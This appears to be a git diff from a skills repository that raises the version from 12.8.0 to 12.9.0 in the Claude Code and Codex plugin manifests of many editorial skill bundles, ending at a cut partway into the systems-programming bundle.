a/antigravity-awesome-skills/plugins/antigravity-bundle-ddd-evented-architecture/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-ddd-evented-architecture/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-ddd-evented-architecture", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"DDD & Evented Architecture\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-ddd-evented-architecture/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-ddd-evented-architecture/.codex-plugin/plugin.json index bff7ff0e..1ac9caf4 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-ddd-evented-architecture/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-ddd-evented-architecture/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-ddd-evented-architecture", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"DDD & Evented Architecture\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-devops-cloud/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-devops-cloud/.claude-plugin/plugin.json index e6c5f301..6e69b7ad 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-devops-cloud/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-devops-cloud/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-devops-cloud", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"DevOps & Cloud\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-devops-cloud/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-devops-cloud/.codex-plugin/plugin.json index fa5b1fac..8a00d648 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-devops-cloud/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-devops-cloud/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-devops-cloud", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"DevOps & Cloud\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-documents-presentations/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-documents-presentations/.claude-plugin/plugin.json index b5e48426..270b9b66 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-documents-presentations/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-documents-presentations/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-documents-presentations", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Documents & Presentations\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-documents-presentations/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-documents-presentations/.codex-plugin/plugin.json index 562456f9..3510d259 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-documents-presentations/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-documents-presentations/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-documents-presentations", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Documents & Presentations\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-essentials/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-essentials/.claude-plugin/plugin.json index 9c35345a..c4abe9dd 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-essentials/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-essentials/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-essentials", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Essentials\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-essentials/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-essentials/.codex-plugin/plugin.json index 2346ba70..c4e22fcd 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-essentials/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-essentials/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-essentials", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Essentials\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-expo-react-native/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-expo-react-native/.claude-plugin/plugin.json index 15961f86..708e8206 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-expo-react-native/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-expo-react-native/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-expo-react-native", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Expo & React Native\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-expo-react-native/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-expo-react-native/.codex-plugin/plugin.json index cc8c2263..c91793c7 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-expo-react-native/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-expo-react-native/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-expo-react-native", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Expo & React Native\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-full-stack-developer/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-full-stack-developer/.claude-plugin/plugin.json index fd10b81c..2e8dc14f 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-full-stack-developer/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-full-stack-developer/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-full-stack-developer", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Full-Stack Developer\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-full-stack-developer/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-full-stack-developer/.codex-plugin/plugin.json index 434fd3d7..5d1b14e9 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-full-stack-developer/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-full-stack-developer/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-full-stack-developer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Full-Stack Developer\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-indie-game-dev/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-indie-game-dev/.claude-plugin/plugin.json index b96bbdeb..0734e937 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-indie-game-dev/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-indie-game-dev/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-indie-game-dev", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Indie Game Dev\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-indie-game-dev/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-indie-game-dev/.codex-plugin/plugin.json index 91a82403..4d06b9fd 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-indie-game-dev/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-indie-game-dev/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-indie-game-dev", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Indie Game Dev\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-integration-apis/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-integration-apis/.claude-plugin/plugin.json index 6afce461..66ef3283 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-integration-apis/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-integration-apis/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-integration-apis", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Integration & APIs\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-integration-apis/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-integration-apis/.codex-plugin/plugin.json index 5da6c0ac..6528827c 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-integration-apis/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-integration-apis/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-integration-apis", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Integration & APIs\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-llm-application-developer/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-llm-application-developer/.claude-plugin/plugin.json index 219a3d76..3920ce33 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-llm-application-developer/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-llm-application-developer/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-llm-application-developer", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"LLM Application Developer\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-llm-application-developer/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-llm-application-developer/.codex-plugin/plugin.json index c045dd40..be7b6675 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-llm-application-developer/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-llm-application-developer/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-llm-application-developer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"LLM Application Developer\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-makepad-builder/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-makepad-builder/.claude-plugin/plugin.json index 5e4572bf..db1aeff7 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-makepad-builder/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-makepad-builder/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-makepad-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Makepad Builder\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-makepad-builder/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-makepad-builder/.codex-plugin/plugin.json index 49057e4b..3703ae5e 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-makepad-builder/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-makepad-builder/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-makepad-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Makepad Builder\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-marketing-growth/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-marketing-growth/.claude-plugin/plugin.json index 7f8af34a..14e18e8a 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-marketing-growth/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-marketing-growth/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-marketing-growth", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Marketing & Growth\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-marketing-growth/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-marketing-growth/.codex-plugin/plugin.json index 32567c24..1f049629 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-marketing-growth/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-marketing-growth/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-marketing-growth", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Marketing & Growth\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-mobile-developer/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-mobile-developer/.claude-plugin/plugin.json index cd56f599..560e62f7 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-mobile-developer/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-mobile-developer/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-mobile-developer", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Mobile Developer\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-mobile-developer/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-mobile-developer/.codex-plugin/plugin.json index a85736be..82e93c30 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-mobile-developer/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-mobile-developer/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-mobile-developer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Mobile Developer\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-observability-monitoring/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-observability-monitoring/.claude-plugin/plugin.json index 778f13d9..f1c87b06 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-observability-monitoring/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-observability-monitoring/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-observability-monitoring", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Observability & Monitoring\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-observability-monitoring/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-observability-monitoring/.codex-plugin/plugin.json index 5ebea5a6..ad65558f 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-observability-monitoring/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-observability-monitoring/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-observability-monitoring", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Observability & Monitoring\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-odoo-erp/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-odoo-erp/.claude-plugin/plugin.json index 7bc11754..397742c9 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-odoo-erp/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-odoo-erp/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-odoo-erp", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Odoo ERP\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-odoo-erp/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-odoo-erp/.codex-plugin/plugin.json index 3f415cf3..4c086b47 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-odoo-erp/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-odoo-erp/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-odoo-erp", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Odoo ERP\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-oss-maintainer/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-oss-maintainer/.claude-plugin/plugin.json index 27a52333..e4061c81 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-oss-maintainer/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-oss-maintainer/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-oss-maintainer", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"OSS Maintainer\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-oss-maintainer/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-oss-maintainer/.codex-plugin/plugin.json index e67e540d..c1fdd3c6 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-oss-maintainer/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-oss-maintainer/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-oss-maintainer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"OSS Maintainer\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-python-pro/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-python-pro/.claude-plugin/plugin.json index 0a00c2fa..2d70a334 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-python-pro/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-python-pro/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-python-pro", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Python Pro\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-python-pro/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-python-pro/.codex-plugin/plugin.json index fb2c9867..390556fd 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-python-pro/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-python-pro/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-python-pro", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Python Pro\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-qa-testing/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-qa-testing/.claude-plugin/plugin.json index 76a482ff..a20059c4 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-qa-testing/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-qa-testing/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-qa-testing", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"QA & Testing\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-qa-testing/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-qa-testing/.codex-plugin/plugin.json index d398e998..670a2dd8 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-qa-testing/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-qa-testing/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-qa-testing", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"QA & Testing\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-revops-crm-automation/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-revops-crm-automation/.claude-plugin/plugin.json index 331a1176..ea3f67b6 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-revops-crm-automation/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-revops-crm-automation/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-revops-crm-automation", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"RevOps & CRM Automation\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-revops-crm-automation/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-revops-crm-automation/.codex-plugin/plugin.json index 00860c12..b56bab51 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-revops-crm-automation/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-revops-crm-automation/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-revops-crm-automation", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"RevOps & CRM Automation\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-security-developer/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-security-developer/.claude-plugin/plugin.json index 833332bc..a3337d4d 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-security-developer/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-security-developer/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-security-developer", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Security Developer\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-security-developer/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-security-developer/.codex-plugin/plugin.json index 026a2ce3..463f9a97 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-security-developer/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-security-developer/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-security-developer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Security Developer\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-security-engineer/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-security-engineer/.claude-plugin/plugin.json index c0554d30..510cc390 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-security-engineer/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-security-engineer/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-security-engineer", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Security Engineer\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-security-engineer/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-security-engineer/.codex-plugin/plugin.json index d52c8208..1d8e8478 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-security-engineer/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-security-engineer/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-security-engineer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Security Engineer\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-seo-specialist/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-seo-specialist/.claude-plugin/plugin.json index 2694c8fb..0a4c994a 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-seo-specialist/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-seo-specialist/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-seo-specialist", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"SEO Specialist\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-seo-specialist/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-seo-specialist/.codex-plugin/plugin.json index 61a26a3b..8191f26f 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-seo-specialist/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-seo-specialist/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-seo-specialist", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"SEO Specialist\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-startup-founder/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-startup-founder/.claude-plugin/plugin.json index ba1c9dda..7b9a3ad3 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-startup-founder/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-startup-founder/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-startup-founder", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Startup Founder\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-startup-founder/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-startup-founder/.codex-plugin/plugin.json index d1ff60bc..f8d404e2 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-startup-founder/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-startup-founder/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-startup-founder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Startup Founder\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-systems-programming/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-systems-programming/.claude-plugin/plugin.json index 4a5079fc..ac4cf60b 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-systems-programming/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-systems-programming/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-systems-programming", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Systems Programming\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-systems-programming/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-systems-programming/.codex-plugin/plugin.json index 57242dab..ea8c2e68 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-systems-programming/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-systems-programming/.codex-plugin/plugin.json 